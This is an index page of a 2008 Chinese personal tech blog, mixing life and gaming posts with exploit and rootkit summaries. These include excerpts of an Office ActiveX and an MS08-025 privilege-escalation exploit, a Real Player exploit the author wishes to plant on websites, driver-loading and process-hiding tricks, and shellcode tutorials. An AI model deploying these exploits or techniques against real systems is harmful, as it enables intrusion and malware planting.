最近奧運(yùn)了，地鐵口變少了，開(kāi)車(chē)單雙號(hào)了，馬路變窄了，物價(jià)上漲了，斷奶一個(gè)禮拜了，股票下跌了，失業(yè)率上升了，社會(huì)動(dòng)蕩了，公司加班了，獎(jiǎng)金不發(fā)了，關(guān)鍵是連燴面片都TMD開(kāi)始放香菜了！
.........
閱讀全文

posted @ 2008-07-28 00:08 009 閱讀(1447) | 評(píng)論 (0) | 編輯收藏

我最帥的白襯衫終于掛了

posted @ 2008-07-23 00:35 009 閱讀(2401) | 評(píng)論 (9) | 編輯收藏

ChinaJOY最后一天（多圖殺貓）

摘要:
多圖殺貓
... ...

閱讀全文

posted @ 2008-07-19 19:31 009 閱讀(2284) | 評(píng)論 (0) | 編輯收藏

Microsoft Office Snapshot Viewer ActiveX Exploit (可執(zhí)行版)

摘要:
lcx給的，網(wǎng)上的都是放啟動(dòng)項(xiàng)，這個(gè)可以自動(dòng)執(zhí)行

<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;

var x;
var obj;
.........
閱讀全文

posted @ 2008-07-14 23:07 009 閱讀(2540) | 評(píng)論 (3) | 編輯收藏

喬家大院 & 平遙古城（多貓殺圖）

摘要:
多貓殺圖，務(wù)必小心
....

閱讀全文

posted @ 2008-07-03 15:48 009 閱讀(1702) | 評(píng)論 (0) | 編輯收藏

Kugoo2008的歌詞功能效果灰常不錯(cuò)，適合“跑調(diào)王”（圖）

摘要:
今天找首歌，用kugoo，幾百年不用，賬號(hào)還在，提示自動(dòng)升級(jí)，升完有個(gè)歌詞的功能灰常不錯(cuò)，不像以前的歌詞秀那種平均時(shí)間分配的顯示歌詞，而是類(lèi)似卡拉OK的顯示歌詞方式，比較適合跑調(diào)王。不是非常精確，不過(guò)已經(jīng)不錯(cuò)了。
一直用foobar，目前似乎還沒(méi)有對(duì)應(yīng)的插件。
......

閱讀全文

posted @ 2008-06-14 23:07 009 閱讀(2516) | 評(píng)論 (1) | 編輯收藏

PSP《合金裝備：掌上行動(dòng)》漢化版發(fā)布 (ZT)

摘要:
PS: 實(shí)在太經(jīng)典，不得不轉(zhuǎn)一下
獻(xiàn)給所有的MGSER和游戲愛(ài)好者：

不論是作為psp平臺(tái)上目前fami通評(píng)分最高的游戲（39分）來(lái)看，還是從完美承接了MGS3的劇情來(lái)看，合金裝備-掌上行動(dòng)都是一款不可多得的優(yōu)秀作品。在曠世神作合金裝備4即將發(fā)售之際，提前領(lǐng)略一下這個(gè)系列無(wú)與倫比的劇情魅力，也是我們獻(xiàn)給每一個(gè)熱愛(ài)該系列的玩家們小小禮物。
..............

閱讀全文

posted @ 2008-06-07 11:13 009 閱讀(3287) | 評(píng)論 (3) | 編輯收藏

flash 9,0,115,0 exp (ZT)

摘要: 未測(cè)試，覺(jué)得比較雞肋，能中的人實(shí)在太少了

閱讀全文

posted @ 2008-05-30 11:26 009 閱讀(1486) | 評(píng)論 (1) | 編輯收藏

別害怕，我就站在你身邊！

摘要:
昨晚在吃飯的地方看了將近3小時(shí)電視（幾乎不看電視，家里沒(méi)電視），震憾，感人
太多太多太多感人的事跡，看著一幕幕畫(huà)面，真有自己過(guò)去搬石頭，幫忙出力的沖動(dòng)，人家72小時(shí)不休息，大不了我48小時(shí)應(yīng)該沒(méi)問(wèn)題，或者給人送個(gè)水什么的，能做什么就做什么。
給朋友打了個(gè)電話(huà).......

閱讀全文

posted @ 2008-05-16 13:57 009 閱讀(2368) | 評(píng)論 (0) | 編輯收藏

國(guó)外強(qiáng)人改造系列之紅白機(jī)NES便攜化V3.0

摘要:
NESP第一個(gè)版本成功后，我就開(kāi)始著手更加袖珍版本的改造，讓我的NESP更容易攜帶。對(duì)于V3版本，我首先需要的是一塊能夠順利運(yùn)行NES游戲的主版NOAC，對(duì)比之前的版本，它的耗電量會(huì)更小。當(dāng)然我不會(huì)保證所有NES游戲都能100%兼容，估計(jì)會(huì)有小部分NES游戲不能運(yùn)行吧。
.......
閱讀全文

posted @ 2008-05-15 12:13 009 閱讀(1365) | 評(píng)論 (0) | 編輯收藏

國(guó)外強(qiáng)人改造系列之紅白機(jī)NES便攜化V1.2&2.0

摘要:
經(jīng)過(guò)1個(gè)多月的使用時(shí)間，第一版本的NESP的缺陷就開(kāi)始體現(xiàn)出來(lái)了。內(nèi)部的一些保護(hù)油脂在我需要更換之前就失去作用了，還有其他的措施也沒(méi)有起到預(yù)計(jì)的作用，主板最終還是被我的手汗侵蝕了。要是這種情況繼續(xù)下去的話(huà)，按鍵部分的電路會(huì)徹底報(bào)銷(xiāo)的。
............
閱讀全文

posted @ 2008-05-15 12:10 009 閱讀(1138) | 評(píng)論 (0) | 編輯收藏

國(guó)外強(qiáng)人改造系列之紅白機(jī)NES便攜化V1.0

摘要:
在一個(gè)黑暗的風(fēng)雨交加之夜，一名瘋狂的技師正操控著一臺(tái)巨大的裝置。他的手中拿著長(zhǎng)長(zhǎng)的木條，并等待適當(dāng)?shù)臅r(shí)機(jī)進(jìn)行加工，工作間因?yàn)橥饷婵衽拈W電而充滿(mǎn)白色的光芒。閃電再三擊中建筑物，在被電弧纏繞的房間中，瘋狂技師露出了魔鬼般的笑容。實(shí)驗(yàn)終于完結(jié)，把所有裝置移除后，展現(xiàn)在我們面前的是：一個(gè)屏幕閃動(dòng)著藍(lán)光的盒子。
...............
閱讀全文

posted @ 2008-05-15 11:32 009 閱讀(1463) | 評(píng)論 (0) | 編輯收藏

改了個(gè)linux下的c代碼為windows版本

摘要:
Windows的C++沒(méi)有pthread_t類(lèi)型，linux中有個(gè)pthread.h，很多站的VC代碼，都不知道從哪包含來(lái)的，shit
網(wǎng)上看到有一個(gè)叫 POSIX Threads for Win32 的開(kāi)源項(xiàng)目給出了一個(gè)功能比較完善的Windows下pthreads API的實(shí)現(xiàn)。

閱讀全文

posted @ 2008-05-09 14:51 009 閱讀(2795) | 評(píng)論 (4) | 編輯收藏

將Win32 C/C++應(yīng)用程序遷移到Linux-進(jìn)程、線(xiàn)程和共享內(nèi)存（ZT）

摘要:
本文的內(nèi)容是 Win32 API（特別是進(jìn)程、線(xiàn)程和共享內(nèi)存服務(wù)）到 POWER 上 Linux 的映射。本文可以幫助您確定哪種映射服務(wù)最適合您的需要。作者向您詳細(xì)介紹了他在移植 Win32 C/C++ 應(yīng)用程序時(shí)遇到的 API 映射。

閱讀全文

posted @ 2008-05-09 14:33 009 閱讀(3717) | 評(píng)論 (0) | 編輯收藏

內(nèi)蒙最后一天

摘要:
剛?cè)ルx我住的地方方圓二里地內(nèi)最好的飯館吃飯（叫音樂(lè)餐廳，這里所謂最好的是指：一個(gè)人吃飯價(jià)錢(qián)還能承受，味道可以，而且吃完還不會(huì)拉肚子），晚飯吃得早了點(diǎn)，因?yàn)橥砩系幕疖?chē)，里面一個(gè)人都沒(méi)有，除了服務(wù)員。坐下一四人小桌，服務(wù)員過(guò)來(lái)撤走三套餐具，留下一套離我最遠(yuǎn)的，在我對(duì)角的餐具，點(diǎn)了兩個(gè)菜一個(gè)炒飯，
........
閱讀全文

posted @ 2008-05-08 18:48 009 閱讀(496) | 評(píng)論 (1) | 編輯收藏

MS08-025 for win2k & win2k3

摘要: Win2k CN SP2 ，Win2k3 CN SP1下測(cè)試通過(guò)，其它未測(cè)試(不裝XP那種垃圾)
D:\>ms08025 whoami

MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1

Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo 閱讀全文

posted @ 2008-04-17 23:43 009 閱讀(2612) | 評(píng)論 (7) | 編輯收藏

Firefox自定義referer插件（Firefox突破防盜鏈）

摘要:
RefControl 0.8.10

要是上次找到這個(gè)插件就好了，省得我一遍一遍地用nc修改referer提交
很多防盜鏈和防本地提交是依靠用戶(hù)瀏覽器自動(dòng)提交.......

閱讀全文

posted @ 2008-04-08 14:42 009 閱讀(6241) | 評(píng)論 (1) | 編輯收藏

Firefox突破圖片防盜鏈

摘要: 以下方法修改完后，再刷新本頁(yè)就能看到上面圖片
Firefox：輸入about:config進(jìn)入配置頁(yè)面，修改network.http.sendRefererHeader的值為1即可（默認(rèn)是2），
.....
閱讀全文

posted @ 2008-04-08 14:00 009 閱讀(1582) | 評(píng)論 (3) | 編輯收藏

Real Player rmoc3260.dll Exp (老C給的，據(jù)說(shuō)好用)

摘要:
milw0rm上的，生成器
lcx給的，稍微改了改代碼，據(jù)說(shuō)好用
未測(cè)試，最近忙到自殺的時(shí)間都沒(méi)有
唉，可惜有馬時(shí)候沒(méi)洞，有洞時(shí)候沒(méi)馬，要不就找個(gè)站掛上了。

http://www.tkk7.com/Files/baicker/Real........
閱讀全文

posted @ 2008-04-02 23:56 009 閱讀(1798) | 評(píng)論 (5) | 編輯收藏

比較solaris-redhat-suse-freebsd20051129（ZT）

posted @ 2008-03-30 15:58 009 閱讀(2470) | 評(píng)論 (0) | 編輯收藏

Microsoft Office Excel Code Execution Exploit (MS08-014)

摘要: http://www.milw0rm.com/sploits/2008-zha0_ms08_014.rar

閱讀全文

posted @ 2008-03-22 14:13 009 閱讀(1438) | 評(píng)論 (0) | 編輯收藏

膩了，玩點(diǎn)別的

摘要:
貌似花了兩小時(shí)

閱讀全文

posted @ 2008-03-15 18:34 009 閱讀(1139) | 評(píng)論 (8) | 編輯收藏

沒(méi)事多申請(qǐng)專(zhuān)利，你行的，你可以的，你是最棒的

摘要: 開(kāi)發(fā)人員兢兢業(yè)業(yè)搞研發(fā)、開(kāi)源，商業(yè)公司卻拿去申請(qǐng)專(zhuān)利

或許只是看了下面三行，您就忍不住想吐，那么麻煩堅(jiān)持一下，如果可以的話(huà)頂一下日志我會(huì)感到萬(wàn)份榮幸

金山
刪除FAT卷中文件的方法，　　　　　　申請(qǐng)?zhí)枺?00610122249.5
徹底粉碎FAT卷中文件數(shù)據(jù)的方法，　　申請(qǐng)?zhí)枺?00610122247.6
徹底粉碎NTFS卷中文件數(shù)據(jù)的方法，　　申請(qǐng)?zhí)枺?00610122479.1
一種Windows平臺(tái)下對(duì)抗API掛接的方法 http://www.cpsfu.com/G06F/2007/CN1936834.shtml
.............
閱讀全文

posted @ 2008-03-12 16:43 009 閱讀(1508) | 評(píng)論 (8) | 編輯收藏

oracle真爛

摘要: 自從orale注入可以執(zhí)行系統(tǒng)命令后，覺(jué)得oracle安全性實(shí)在太爛了，容易獲得系統(tǒng)權(quán)限，又動(dòng)不動(dòng)就死翹翹

昨天給朋友做個(gè)滲透測(cè)試，稍微掃掃就死了
以前給客戶(hù)做滲透測(cè)試也經(jīng)常碰到過(guò)oracle死掉的問(wèn)題
相比MSSQL，估計(jì)也就只有巨型數(shù)據(jù)查詢(xún)速度快的優(yōu)勢(shì)了

閱讀全文

posted @ 2008-03-08 19:33 009 閱讀(1551) | 評(píng)論 (1) | 編輯收藏

剛玩了會(huì)PSP的戰(zhàn)神，不錯(cuò)的游戲

摘要:

終于下完了眾人期待的大作，PSP只用來(lái)看碟好幾年了，今天終于拷個(gè)游戲玩玩

雖然還是拜托不了一個(gè)穿著性感的肌肉男，拿著怪異的兵器到處殺人（怪）的模式，不過(guò)畫(huà)面和游戲性都是不錯(cuò)的說(shuō)，操作非常爽快（但是我肯定沒(méi)耐心玩完）

最近比較墮落，還有些公司的破事（好像談到公司的事都是破事），沒(méi)寫(xiě)什么技術(shù)性的文章也沒(méi)看什么技術(shù)性的文章

閱讀全文

posted @ 2008-03-07 22:13 009 閱讀(1005) | 評(píng)論 (3) | 編輯收藏

灰常灰常灰常搞笑的比爾.蓋茨最后一天（視頻）

posted @ 2008-02-22 21:31 009 閱讀(1247) | 評(píng)論 (1) | 編輯收藏

缺德的品牌機(jī)

摘要:
很多攢機(jī)的朋友都知道這個(gè)規(guī)律
品牌機(jī)為了吸引顧客，主要配件的配置會(huì)讓你看著很高
為了降低成本，往往有某一個(gè)或者幾個(gè)配件很“缺德”，要么雜牌，要么很低的配置

朋友一臺(tái)式機(jī)，老抱怨慢，重裝也不行，看分辯率高點(diǎn)的電影還頓，我問(wèn)配置，答曰：CPU 2.50G 內(nèi)存248M（估計(jì)256M）

朋友機(jī)器聯(lián)想的

我就寫(xiě)明牌子了，咋的
閱讀全文

posted @ 2008-02-21 22:38 009 閱讀(1015) | 評(píng)論 (0) | 編輯收藏

用工具下載fs2you資源

摘要: javascript:window.setTimeout=null;showDirectDownload() 閱讀全文

posted @ 2008-02-20 14:04 009 閱讀(3092) | 評(píng)論 (3) | 編輯收藏

KmPlayer播放某些DVDRip時(shí)候?qū)Π茁曇粜。尘奥曇舸蟮慕鉀Q方法

摘要: 老家的臺(tái)式機(jī)壞了，好不容易修好了，也沒(méi)啥用，就當(dāng)“碟機(jī)”吧，重裝系統(tǒng)，就裝了個(gè)winrar和kmplayer
kmplayer播放某些avi文件的時(shí)候，對(duì)白小到幾乎聽(tīng)不到，偶爾出現(xiàn)的背景音樂(lè)大到嚇人，網(wǎng)上找了很多，準(zhǔn)備按照步驟做，發(fā)現(xiàn)就沒(méi)有提到的解碼方式，我下的是kmplayer帶所有解碼包的版本，估計(jì)是沒(méi)有注冊(cè)。

在命令行到kmplayer的codecs目錄，
執(zhí)行如下命令：
........
閱讀全文

posted @ 2008-02-19 11:29 009 閱讀(6145) | 評(píng)論 (3) | 編輯收藏

滑雪筆記（備忘）

摘要: 犁式（八字）第一次滑就會(huì)了，水平到了一定高度，就很難提升，哈哈，今天恨了下心，租了個(gè)教練學(xué)平行式的，順便糾正了一下以前犁式的BUG
以下備忘，以便下次滑（說(shuō)不定一年后），省得又花太多時(shí)間復(fù)習(xí)以前的技術(shù)
犁式：內(nèi)八字（緩坡減速，剎車(chē)功效），重心在中間，左轉(zhuǎn)重心在右腳，右轉(zhuǎn)重心在左腳（慣性原理，總之重心在坡下那只腳，轉(zhuǎn)彎外側(cè)，如果你不是往坡上滑的話(huà)），板基本上水平（不是和破面平），刮雪才能起到減速作用，靠板立起的角度控制滑雪速度。
平行式：先從犁式開(kāi)始，盡量使內(nèi)側(cè)的腳不受力（重心只在一條腿），能提起來(lái)，練習(xí)多次并逐漸提前抬腳的時(shí)間，直到你可以完全用一條滑雪板轉(zhuǎn)彎，慢慢的收起來(lái)和另一只承重腳平行，如左拐，重心在右腳，左腳和右腳平行，要習(xí)慣雙腳一高一低的感覺(jué)，用腿部的屈伸調(diào)解并保持正確的滑行姿勢(shì)，轉(zhuǎn)彎時(shí)盡量將外側(cè)的膝蓋置于另一只的后側(cè)，方便下一次轉(zhuǎn)換到直滑和轉(zhuǎn)彎。
滑行過(guò)程中，重心前傾，小腿面和鞋梆之間要明顯感覺(jué)到壓力，重心稍低，雙手前伸，保持平衡。挪板使之急停感覺(jué)應(yīng)該是腳跟用力往坡下踩，使板橫過(guò)來(lái)，高速下腿承受很大沖擊力，得慢慢學(xué)習(xí)。
原地滑行：外八字閱讀全文

posted @ 2008-02-03 23:23 009 閱讀(905) | 評(píng)論 (1) | 編輯收藏

今天終于把朋友們的火車(chē)票都搞定了

摘要: 總算是公德圓滿(mǎn)

今年票販子加價(jià)比票價(jià)還高，真是汗
有兩張安檢那里買(mǎi)的，可靠性沒(méi)得說(shuō)
...............
閱讀全文

posted @ 2008-01-31 23:20 009 閱讀(909) | 評(píng)論 (1) | 編輯收藏

用C++修改本地安全策略

摘要: 要寫(xiě)個(gè)修改本地安全策略的工具，本以為修改注冊(cè)表就行了，沒(méi)想到還挺復(fù)雜，改策略，對(duì)應(yīng)的注冊(cè)表項(xiàng)會(huì)變，倒過(guò)來(lái)，改對(duì)應(yīng)的注冊(cè)表項(xiàng)，策略沒(méi)變，郁悶
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次數(shù)
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00, 閱讀全文

posted @ 2008-01-30 13:30 009 閱讀(3462) | 評(píng)論 (4) | 編輯收藏

一段有趣的腳本

摘要: 任何網(wǎng)站,打開(kāi)后(有圖片的),瀏覽器輸入

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
閱讀全文

posted @ 2008-01-21 19:39 009 閱讀(1534) | 評(píng)論 (3) | 編輯收藏

新手編譯驅(qū)動(dòng)

摘要: 網(wǎng)上找了N多資料,說(shuō)得我暈頭轉(zhuǎn)向的,都是TMD資深顧問(wèn)級(jí)別的文章,最后簡(jiǎn)單幾步也可以搞定,過(guò)程如下:

我的SDK本來(lái)就是裝好的,再裝個(gè)DDK,就是重裝系統(tǒng),只要DDK目錄還在,重新指定下即可,不用重裝DDK
DDK目錄為: f:\WINDDK\3790.1830

以下以HelloWorld為例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
閱讀全文

posted @ 2008-01-08 16:20 009 閱讀(2557) | 評(píng)論 (7) | 編輯收藏

簡(jiǎn)單認(rèn)識(shí)Anti-RootKit(ZT)

摘要: 現(xiàn)在RK（rootkit）和ARK(anti- rootkit)的斗爭(zhēng)已經(jīng)進(jìn)行了很久，在印象中最早出來(lái)的ARK工具是冰刃(IceSword)，從冰刃開(kāi)始出來(lái)到現(xiàn)在RK和ARK的斗爭(zhēng)一直在繼續(xù)，目前冰刃還是在流行當(dāng)中，自己感覺(jué)也正是冰刃的出來(lái)才帶動(dòng)了當(dāng)前流行的RK和ARK的斗爭(zhēng)呵呵，現(xiàn)在很多病毒木馬已經(jīng)廣泛的帶有驅(qū)動(dòng),使用一些RK的技術(shù)和方法使自己更底層些更強(qiáng)大些，當(dāng)前流行的ARK工具主要包括：隱藏進(jìn)程檢測(cè)，內(nèi)核驅(qū)動(dòng)檢測(cè)，SSDT檢測(cè)，代碼HOOK檢測(cè)，注冊(cè)表隱藏的檢測(cè)，隱藏文件的檢測(cè)等一些功能的，下面談?wù)勛约簩?duì)一些功能的簡(jiǎn)單愚見(jiàn) 嘻嘻。
..........
閱讀全文

posted @ 2007-12-29 15:09 009 閱讀(1888) | 評(píng)論 (1) | 編輯收藏

無(wú)恥的驅(qū)動(dòng)加載法(ZT)

摘要: 方法一：替換win32k.sys
在2k3的系統(tǒng)下ZwSetSystemInformation禁止了用戶(hù)模式下加載驅(qū)動(dòng)，只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個(gè)特點(diǎn)：
1. 注入SMSS.EXE
2. 打開(kāi)SeLoadDriverPrivilege權(quán)限
3. 把原始的win32k.sys改名
4. 復(fù)制我們的驅(qū)動(dòng)到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文

posted @ 2007-12-29 14:59 009 閱讀(2310) | 評(píng)論 (0) | 編輯收藏

實(shí)例解析蠕蟲(chóng)病毒的原理(ZT)

摘要: 　　一、蠕蟲(chóng)病毒具有自我復(fù)制能力

　　我們以普通的VB腳本為例來(lái)看看：
JavaScript代碼

1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創(chuàng)建一個(gè)文件系統(tǒng)對(duì)象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過(guò)文件系統(tǒng)對(duì)象的方法創(chuàng)建了一個(gè)TXT文件。
.....................
閱讀全文

posted @ 2007-12-28 15:44 009 閱讀(1875) | 評(píng)論 (1) | 編輯收藏

軟件漏洞分析入門(mén)[初級(jí)shellcode_定位緩沖區(qū)](ZT)

摘要: 跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題，今天我們?cè)谇懊娴幕A(chǔ)上，繼續(xù)深入。每一講我都會(huì)引入一些新的知識(shí)和技術(shù)，但只有一點(diǎn)點(diǎn)，因?yàn)槲蚁Ｍ谀x完貼之后就能立刻消化吸收，這是標(biāo)準(zhǔn)的循序漸進(jìn)的案例式學(xué)習(xí)方法

另外在今天開(kāi)始之前，我順便說(shuō)一下后面的教學(xué)計(jì)劃：

我會(huì)再用3～4次的講座來(lái)闡述shellcode技術(shù)，確保大家能夠在比較簡(jiǎn)單的漏洞場(chǎng)景下實(shí)現(xiàn)通用、穩(wěn)定的溢出利用程序（exploit）
..........
閱讀全文

posted @ 2007-12-28 15:41 009 閱讀(2759) | 評(píng)論 (0) | 編輯收藏

軟件漏洞分析入門(mén)[初級(jí)棧溢出D_植入任意代碼](ZT)

摘要: 麻雀雖小，五臟俱全

如果您順利的學(xué)完了前面4講的內(nèi)容，并成功的完成了第2講和第4講中的實(shí)驗(yàn)，那么今天請(qǐng)跟我來(lái)一起挑戰(zhàn)一下劫持有漏洞的進(jìn)程，并向其植入惡意代碼的實(shí)驗(yàn)，相信您成功完成這個(gè)實(shí)驗(yàn)后，學(xué)習(xí)的興趣和自信心都會(huì)暴增。

開(kāi)始之前，先簡(jiǎn)要的回答一下前幾講跟貼中提出的問(wèn)題

代碼編譯少頭文件問(wèn)題：可能是個(gè)人習(xí)慣問(wèn)題，哪怕幾行長(zhǎng)的程序我也會(huì)丟到project里去build，而不是用cl，所以沒(méi)有注意細(xì)節(jié)。如果你們嫌麻煩，不如和我一樣用project來(lái)build，應(yīng)該沒(méi)有問(wèn)題的。否則的話(huà)，實(shí)驗(yàn)用的程序?qū)嵲谔?jiǎn)單了，這么一點(diǎn)小問(wèn)題自己決絕吧。另外，看到幾個(gè)同學(xué)說(shuō)為了實(shí)驗(yàn)，專(zhuān)門(mén)恢復(fù)了古老的VC6.0，我也感動(dòng)不已啊，呵呵。
...............
閱讀全文

posted @ 2007-12-28 15:40 009 閱讀(2298) | 評(píng)論 (1) | 編輯收藏

軟件漏洞分析入門(mén)[初級(jí)棧溢出C_修改程序流程](ZT)

摘要: 上節(jié)課沒(méi)有操練滴東西，不少蠢蠢欲動(dòng)的同學(xué)肯定已經(jīng)坐不住了。悟空，不要猴急，下面的兩堂課都是實(shí)踐課，用來(lái)在實(shí)踐中深入體會(huì)上節(jié)課中的知識(shí)，并且很有趣味性哦

信息安全技術(shù)是一個(gè)對(duì)技術(shù)性要求極高的領(lǐng)域，除了扎實(shí)的計(jì)算機(jī)理論基礎(chǔ)外、更重要的是優(yōu)秀的動(dòng)手實(shí)踐能力。在我看來(lái)，不懂二進(jìn)制就無(wú)從談起安全技術(shù)。

緩沖區(qū)溢出的概念我若干年前已經(jīng)了然于胸，不就是淹個(gè)返回地址把CPU指到緩沖區(qū)的shellcode去么。然而當(dāng)我開(kāi)始動(dòng)手實(shí)踐的時(shí)候，才發(fā)現(xiàn)實(shí)際中的情況遠(yuǎn)遠(yuǎn)比原理復(fù)雜。
................
閱讀全文

posted @ 2007-12-28 15:39 009 閱讀(1517) | 評(píng)論 (0) | 編輯收藏

軟件漏洞分析入門(mén)[初級(jí)棧溢出B_系統(tǒng)棧原理](ZT)

摘要: 掃盲班第三講開(kāi)課啦！
上節(jié)課我們用越過(guò)數(shù)組邊界的一個(gè)字節(jié)把鄰接的標(biāo)志變量修改成0，從而突破了密碼驗(yàn)證程序。您實(shí)驗(yàn)成功了嗎？沒(méi)有的話(huà)回去做完實(shí)驗(yàn)在來(lái)聽(tīng)今天的課！

有幾個(gè)同學(xué)反映編譯器的問(wèn)題，我還是建議用VC6.0，因?yàn)樗黚uild出來(lái)的PE最適合初學(xué)者領(lǐng)會(huì)概念。而且這門(mén)課動(dòng)手很重要，基本上我的實(shí)驗(yàn)指導(dǎo)都是按VC6.0來(lái)寫(xiě)的，用別的build出來(lái)要是有點(diǎn)出入，實(shí)驗(yàn)不成功的話(huà)會(huì)損失學(xué)習(xí)積極性滴——實(shí)驗(yàn)獲得的成就感是學(xué)習(xí)最好的動(dòng)力。
............
閱讀全文

posted @ 2007-12-28 15:34 009 閱讀(1659) | 評(píng)論 (0) | 編輯收藏

軟件漏洞分析入門(mén)[初級(jí)棧溢出A_初識(shí)數(shù)組越界](ZT)

摘要: 本想來(lái)點(diǎn)大道理申明下研究思路啥的，看到大家的熱情期待，稍微調(diào)整一下講課的順序。從今天開(kāi)始，將用3～4次給大家做一下棧溢出的掃盲。

棧溢出的文章網(wǎng)上還是有不少的（其實(shí)優(yōu)秀的也就兩三篇），原理也不難，讀過(guò)基本上就能夠明白是怎么回事。本次講解將主要集中在動(dòng)手調(diào)試方面，更加著重實(shí)踐。

經(jīng)過(guò)這3～4次的棧溢出掃盲，我們的目標(biāo)是：

領(lǐng)會(huì)棧溢出攻擊的基本原理
能夠動(dòng)手調(diào)試簡(jiǎn)易的棧溢出漏洞程序，并能夠利用漏洞執(zhí)行任意代碼（最簡(jiǎn)易的shellcode）
.............
閱讀全文

posted @ 2007-12-28 15:33 009 閱讀(1467) | 評(píng)論 (3) | 編輯收藏

軟件漏洞分析入門(mén)[引子](ZT)

摘要: 您是否夢(mèng)想過(guò)能夠像電影上演的那樣黑進(jìn)任意一臺(tái)機(jī)器遠(yuǎn)程操控？您的夢(mèng)想是否曾經(jīng)被書(shū)店里邊滿(mǎn)架子的反黑，防毒，擒木馬的掃盲書(shū)強(qiáng)暴的體無(wú)完膚？

從今天開(kāi)始，準(zhǔn)備陸續(xù)發(fā)一系列關(guān)于軟件漏洞方面基礎(chǔ)知識(shí)的帖子，包括軟件漏洞的研究?jī)r(jià)值，研究方法，堆棧利用的基礎(chǔ)知識(shí)，shellcode的調(diào)試方法，漏洞調(diào)試方法，漏洞分析，漏洞挖掘，軟件安全性測(cè)試等等，此外還將介紹一些metasploit架構(gòu)和fuzz測(cè)試方面的入門(mén)知識(shí)。

軟件漏洞分析，利用，發(fā)掘是當(dāng)今安全技術(shù)界中流砥柱級(jí)別話(huà)題，如果您關(guān)注過(guò)black hat或者defcon之類(lèi)的頂級(jí)安全技術(shù)峰會(huì)的話(huà)，就知道我不是在吹牛了。可惜的是這方面的中文資料很少，偶爾有一篇比較優(yōu)秀的文章但又不夠系統(tǒng)，目前為止也沒(méi)有形成像破解技術(shù)這樣的討論風(fēng)氣，菜鳥(niǎo)們?cè)诤跓粝够鸬囊雇硐拐垓v，沒(méi)有交流和指導(dǎo)，興趣就像被拔了氣彌兒芯的車(chē)胎，很快就泄氣了。

雖然漏洞分析與利用與破解在技術(shù)上各有側(cè)重點(diǎn)，但逆向基礎(chǔ)是共同的。以我個(gè)人的經(jīng)驗(yàn)，能做crack的朋友只要稍加進(jìn)修就能入門(mén)。就算沒(méi)有任何匯編基礎(chǔ)和逆向經(jīng)驗(yàn)的朋友也不用擔(dān)心，因?yàn)檫@ 閱讀全文

posted @ 2007-12-28 15:32 009 閱讀(1307) | 評(píng)論 (3) | 編輯收藏

對(duì) Hook 內(nèi)核ntoskrnl'sZwQuerySystemInformation隱藏任務(wù)管理器進(jìn)程名的一點(diǎn)完善(ZT)

摘要: 通過(guò)hook ssdt中的ZwQuerySystemInformation來(lái)實(shí)現(xiàn)隱藏進(jìn)程已經(jīng)是很老的技術(shù)了。
qiweixue 在他的文章里面寫(xiě)的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B

不過(guò)他的文章里面，進(jìn)程名字是直接寫(xiě)死的，不能通過(guò)三層進(jìn)行傳遞，而且得到ZwQuerySystemInformation是通過(guò)匯編的方法，這樣在其他系統(tǒng)上可能會(huì)有問(wèn)題，所以我做了一些改善如下：
1 通過(guò)應(yīng)用程序?qū)⑦M(jìn)程名字傳遞進(jìn)來(lái)，可以傳遞多個(gè)進(jìn)程名字，格式為：qq.exe;taskmgr.exe;
2 通用的方法來(lái)得到ZwQuerySystemInformation的地址，不過(guò)這個(gè)方法都是從rookit上得來(lái)的。
...........
閱讀全文

posted @ 2007-12-27 22:12 009 閱讀(2150) | 評(píng)論 (0) | 編輯收藏

讓EXE導(dǎo)出函數(shù)(ZT)

摘要: 偶然發(fā)現(xiàn)OllyDBG.exe導(dǎo)出了一堆函數(shù)，這些函數(shù)都是供其插件調(diào)用的。對(duì)這種體系結(jié)構(gòu)很感
興趣，想弄清楚它的實(shí)現(xiàn)原理。后來(lái)又看到梁肇新的書(shū)《編程高手箴言》第278頁(yè)提到的調(diào)用
門(mén)，覺(jué)得都應(yīng)該差不多。

三種不同的解決辦法（原理可能是一樣的，:)）：

1）在導(dǎo)出函數(shù)聲明之前加上__declspec(dllexport)。例：
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文

posted @ 2007-12-27 22:11 009 閱讀(1722) | 評(píng)論 (0) | 編輯收藏

icesword 驅(qū)動(dòng)部分分析(ZT)

摘要: icesword.exe 在執(zhí)行的時(shí)候會(huì)放出一個(gè)驅(qū)動(dòng)程序 ispubdrv.sys .
